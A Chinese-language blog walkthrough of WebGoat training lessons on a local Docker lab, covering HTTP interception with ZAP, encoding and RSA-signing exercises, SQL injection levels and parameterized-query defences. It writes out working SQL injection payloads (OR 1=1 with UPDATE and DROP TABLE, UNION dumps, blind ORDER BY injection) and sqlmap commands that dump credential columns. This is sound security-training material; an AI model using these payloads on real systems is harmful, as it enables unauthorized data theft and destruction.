WebGoat是一款很好的学习网络安全知识和技巧的入门应用,写这篇博文一方面是为了记录自己的学习过程,另一方面供大家参考互相学习。
实验环境选择的是Kali-5.7.0-amd64,使用Docker进行下载、管理和连接WebGoat应用。(如果使用jar包连入有些关卡无法进行)
可以直接通过国内源下载,速度比较快:
curl -fsSL http://mirrors.zju.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add –
echo 'deb http://mirrors.zju.edu.cn/docker-ce/linux/debian/ buster stable' | sudo tee /etc/apt/sources.list.d/docker.list
sudo apt-get update
sudo apt-get install docker-ce
sudo docker pull webgoat/webgoat-8.0
sudo docker pull webgoat/webwolf
sudo docker pull webgoat/goatandwolf
sudo docker run -d -p 8888:8888 -p 8080:8080 -p 9090:9090 webgoat/goatandwolf
#这里-d选项是后台运行,可以去掉
之后在浏览器中进入网址:
http://127.0.0.1:8080/WebGoat
显示登录界面即配置成功了!
这一部分就是简单介绍了一下WebGoat,没啥好说的。
WebWolf是WebGoat的配套应用,帮助完成webGoat某些关卡的学习,具体介绍可以自己阅读应用中的内容,可以通过点击其提供的连接进入,也可以自行输入以下网址:
http://127.0.0.1:9090/WebWolf
之后是试用WebWolf的功能:
所有从WebGoat上发送给自己的邮件均会在WebWolf中收到,这里我们输入自己的账号信息,形式为{账户名}@XXX。
发送后在WebWolf中可以收到邮件,查看其中的Unique码并填入则可通过此关。
这一部分讲了一些http中最基本的知识和技术。通关需要的技巧为使用工具抓取http包,这里使用的工具为ZAP,Kali中自带该软件:
通过这里打开浏览器可以自动为浏览器设置代理,省去了自己配置的步骤,十分方便。
下面拦截http包的操作都是在此基础上进行的!!!
这一部分介绍了http的GET方法和POST方法的区别,简单区分就是GET方法的参数直接通过url传递,POST的参数则通过包来传递。
按要求输入:
显然,这是通过POST方法传递请求的。
这里第一问我们已经知道为POST方法进行请求,故填入POST,第二问的magic number我们不知道,所以我们先随便填入一个数,按Go!按钮后利用ZAP拦截该请求包查看有没有线索。
为了方便快速定位该请求包,可以在ZAP中定义一个拦截规则,只拦截POST方法的请求包,拦截新建按钮为菜单栏中的:
我们看到数据栏中有magic_num=26。
这一部分介绍了ZAP的一些基本用法,跟着上面的讲解配置即可。
接着的问题为修改http包,在其中添加、修改信息,设置的拦截信息和上面相同即可。
原始的http包为:
按要求我们需要改成以下(直接在数据上操作即可):
最后按ZAP菜单栏中的继续按钮即可。
这一部分介绍了浏览器上的开发者工具。
按要求在控制台输入响应函数,得到一个随机数:
将随机数复制到输入框中即可。
按Go!按钮后拦截到包为:
将networkNum的值复制到输入框即可。
讲解了信息安全三要素,仔细理解三要素的定义题目就能做出来了,不难。
这一部分主要讲解了一些基本的编码、加密、签名等知识。
第一题是解码一段Base64字符串,判断为Base64编码的简单方法就是看其结尾有没有等号(等号最多两个),以及字符是否都在Base64的字符集里。
Linux系统自带Base64工具,直接打开一个终端进行解码即可:
第二题需要解码一段由异或编码处理过的信息,而且是用IBM的WebSphere工具中的编码规则处理的!!!所以我们从网上找到专门解码WebSphere规则的应用进行解码:
上述使用的工具网站为:http://www.sysman.nl/wasdecoder/
第三题为解密两段hash串,网站推荐使用cmd5。当然也可以使用Kali的自带工具来解决,先用hash-identifier判断hash加密算法:
注:还是用网上的工具快。。
第四题为破解RSA密码,在知道私钥的情况下破解其模,以及用该私钥签名后的模,我们使用Kali自带的openssl工具会方便一些:
openssl rsa -in ./privatekey -modulus
#privatekey为题目提供的私钥所在的文件
再对模进行签名:
echo -n "9C2484492F65191FC6BF085D50B452EFB3F5EE299D426C44949A2DCBD19110A3E8849006B3E565E0DA79B17607F1EB9E08C3102FCAFC421F40F04EC7A83D62D7C575B8BF3EA19DC63E86E9C7ACAFA7CC83E330E7B60C55DF3B6CDA5251421A32B6A56DFF7DC3E90EB2EDAAC2581628123042B6FC3C189FCEA062BDF4570CADFB5163D379FF691376AE7AC47458B78952051BBEF1C64ED3768F6493E7F64899EFA6359D0B0FC8DB192BFC44565C5BD1E2BE29F60BB6864185C9C70255CE7F4BCB776A910640C85067ACA24E86B92229BF0B1BD28050E987A82E4C16D67B9F063E110B89D424F3AFA84A2460870F892570401B316244147952CB350D8779A077A1" | openssl dgst -sign ./privatekey -sha256 -out ./dgst.txt
base64 ./dgst.txt > result
在生成的result文件里即为签名。
注:上述签名过程来自本页学习知识点中的RAW signatures,使用其他签名方法或者直接用网上的签名工具八成会出错。。
第五题需要docker来配合完成,首先进入相应的container:
sudo docker run -d webgoat/assignments:findthesecret
#可能之前下载时没下载该container,会自动下载后运行
查看刚运行的container的ID并进入:
sudo docker ps
sudo docker exec -ti acade6f8f42c /bin/bash
#-ti后面的参数即为container ID,需要替换成自己的
然后运行WebGoat所给的命令:
这一节主要介绍了SQL注入的相关知识。
这一部分主要介绍了一些SQL的语法。
第一题很简单,就是写一句SQL获取叫Bob Franco所在的department:
第二题将Tobi Barnett的department改为‘Sales:
第五题是尝试最简单的SQL注入,在最后给出了一些例子,可以都试一下:
第七题是另一种类型的SQL注入,叫做numberic SQL injection:
第八题也是和之前相似的string SQL injection:
第九题要开始修改数据库的信息了:
首先查看数据库的内容(方法与上题一样,知道我们要把自己的薪水改成90000).然后可以在TAN的输入框中使用以下语句来更改:
3SL99A' OR 1=1;UPDATE employees SET SALARY = 90000 WHERE LAST_NAME = 'Smith';--
第十题将给如何删库跑路,当然这里只是删除一个表而已:
我们可以先SELECT一下查看表中都有什么:
我们在这里进行注入发现怎么做也做不到,这说明注入点并不在这里,所以我们继续使用上一题的注入点,在那里在TAN的输入框填入:
3SL99A' OR 1=1;DROP TABLE access_log;--
这一部分讲了一些SQL注入的进阶技巧。
第一题让你得到表中的所有数据以及Dave的密码,这里我们可以先任意输一些内容在查询框中,便可以知道查询语句的结构:
于是我们可以构造如下查询语句:
Dave' OR 1=1;SELECT * FROM user_system_data;--
这里我们是用增加一条查询语句来完成的,如果使用UNION,可以这样:
Dave' OR 1=1 UNION SELECT userid,user_name,user_name,cookie,password,user_name,userid FROM user_system_data;--
将查询到的Dave的密码填入就可以了。
第二题就是实战环节,让我们以Tom的身份登入。此题困难的地方在于找SQL注入点。
首先我们在注册页面多次尝试,可以发现不能注册用户名相同的账号,但可以注册名为"Tom"的账户,说明Tom的账户名不是"Tom",多试几次可以知道Tom的用户名为"tom",这是数据库里已经有的账户。
第二步便是寻找SQL注入点。首先肯定是在登录或者注册这几个输入框中。由于一个一个尝试比较繁琐,我们使用sqlmap帮助我们检测和获取数据库数据。sqlmap可以直接通过pip下载:
pip install sqlmap
我们先测试登录页面中的输入框。先使用ZAP截取登录请求发送的http包,如何截取在上面有提到过:
点右键另存为RAW后,重命名为txt文件。输入命令:
sqlmap -r 文件路径
我们用相同的步骤对注册页面进行尝试,结果说明注册页面的username输入框存在SQL注入漏洞:
之后我们可以用sqlmap的一些功能进行探测:
sqlmap --no-cast -r 文件路径 --dbs#查看数据库
sqlmap --no-cast -r 文件路径 -D PUBLIC --tables#查看数据库PUBLIC中的表
sqlmap --no-cast -r 文件路径 -D PUBLIC -T JWT_KEYS --columns#查看表JWT_KEYS的列名
sqlmap --no-cast -r 文件路径 -D PUBLIC -T JWT_KEYS -C "userid,password" --dump#查看表JWT_KEYS的userid和password两列
这里需要注意的是,我们进行注入的时候使用了账户名为Bob的信息,所以查到的信息都是与Bob有关的。要想查到与tom有关的,需要在另存为的http包中,把username_reg参数的值改为"tom",再将sqlmap的session缓存清空:
sqlmap --flush-session -r 文件路径
这就是tom的密码了。
另外,为什么是PUBLIC中的JWT_KEYS,就是一个一个试出来的。。。
最后一题是一些选择题,只要熟悉概念就很容易做出来。
这一部分介绍了如何防御SQL注入攻击。
第一题主要是需要了解这些类中函数的用法,代码如下:
Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
PreparedStatement stmt = conn.prepareStatement("SELECT status FROM users WHERE name=? AND mail=?");
stmt.setString(1, "asif001");//这里的第二个参数随便填
stmt.setString(2,"[email protected]");//这里的第二个参数随便填
第二题简单编写一段代码就好了:
try {
Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
System.out.println(conn);
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE name=?");
stmt.setString(1, "asif001");
ResultSet results = stmt.executeQuery();
} catch (Exception e) {
System.out.println("Oops. Something went wrong!");
}
第三题在之前一题的基础上加了过滤,限制输入中不能出现空格,我们可以通过加注释的方法来达到空格的目的:
Dave'/**/OR/**/'1'='1
这样可以看到全部用户信息,但不是正确答案?还没搞清楚是为什么。
第四题和第三题答案一样。。但还是显示不正确。。
第五题的难点在于找到注入点以及如何去注入。其实注入点根据介绍肯定与排序操作有关,那么每列名称后面的排序按钮了。但显然这里没有供在网页端输入的注入点,所以需要抓包,观察本页面url,编写拦截条件:
把第一行column的值改为:
case when((select substring(ip,1,1) from servers where hostname='webgoat-prd')=1) then hostname else status end
这样就可以判断出’webgoat-prd’ip地址的第一位是不是为1,同理测出后面的数字,最后得到的结果是:
104.130.219.202